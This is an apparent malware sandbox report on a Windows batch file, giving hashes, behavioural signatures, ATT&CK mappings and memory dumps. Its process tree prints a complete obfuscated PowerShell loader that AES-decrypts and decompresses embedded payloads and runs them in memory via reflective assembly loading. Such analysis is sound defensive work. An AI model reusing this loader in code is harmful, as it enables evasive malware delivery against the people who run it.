50892b23687a3e0dc70e5b574944f0919a86255f9c3582a51ed6321aa4d52aa1

Analysis

max time kernel
13s
max time network
19s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-10-2024 01:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

gggggg.bat
Size

391KB
MD5

5c7ec05ae4018bd0095f10fbc6761b4b
SHA1

49a12b9925f7b75c4bd77ee22b6203f8b4a4cdda
SHA256

50892b23687a3e0dc70e5b574944f0919a86255f9c3582a51ed6321aa4d52aa1
SHA512

fd072452ce80163a9033f947af46cab5d552938ff3b6cc63b3a25b9b4a96156bbf19db91ec8452e367bd428d1e67751e6534b7b99ba138f68842f1c9b0c09ae2
SSDEEP

6144:K37DLJ2557pMYtSiPuf4fJLzTFGSNzYZ/S7q/3dHJ0AwjMAa2S6CJjlk8RWm:o925xpMGNP04fJzRb2Hp0AwjZS6CJiEr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 2956	2592	cmd.exe	30
PID 2592 wrote to memory of 2956	2592	cmd.exe	30
PID 2592 wrote to memory of 2956	2592	cmd.exe	30
PID 2592 wrote to memory of 2416	2592	cmd.exe	31
PID 2592 wrote to memory of 2416	2592	cmd.exe	31
PID 2592 wrote to memory of 2416	2592	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\gggggg.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e7bFgot9AWejqc2o/AjvIuQR7z2l9SN0/zfrjvTH8Gg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7J2xrxvx4aeHa3vOPxv6zQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vqeCT=New-Object System.IO.MemoryStream(,$param_var); $vtNSz=New-Object System.IO.MemoryStream; $IPicr=New-Object System.IO.Compression.GZipStream($vqeCT, [IO.Compression.CompressionMode]::Decompress); $IPicr.CopyTo($vtNSz); $IPicr.Dispose(); $vqeCT.Dispose(); $vtNSz.Dispose(); $vtNSz.ToArray();}function execute_function($param_var,$param2_var){ $SaZVK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DYzmT=$SaZVK.EntryPoint; $DYzmT.Invoke($null, $param2_var);}$DBjjA = 'C:\Users\Admin\AppData\Local\Temp\gggggg.bat';$host.UI.RawUI.WindowTitle = $DBjjA;$OAwuK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DBjjA).Split([Environment]::NewLine);foreach ($ZZhHK in $OAwuK) { if ($ZZhHK.StartsWith('YrLNdKUEXZIyXuuRtFQc')) { $fRoIG=$ZZhHK.Substring(20); break; }}$payloads_var=[string[]]$fRoIG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2416-4-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download
memory/2416-5-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-6-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-8-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2416-7-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2416-9-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-10-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-11-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-12-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download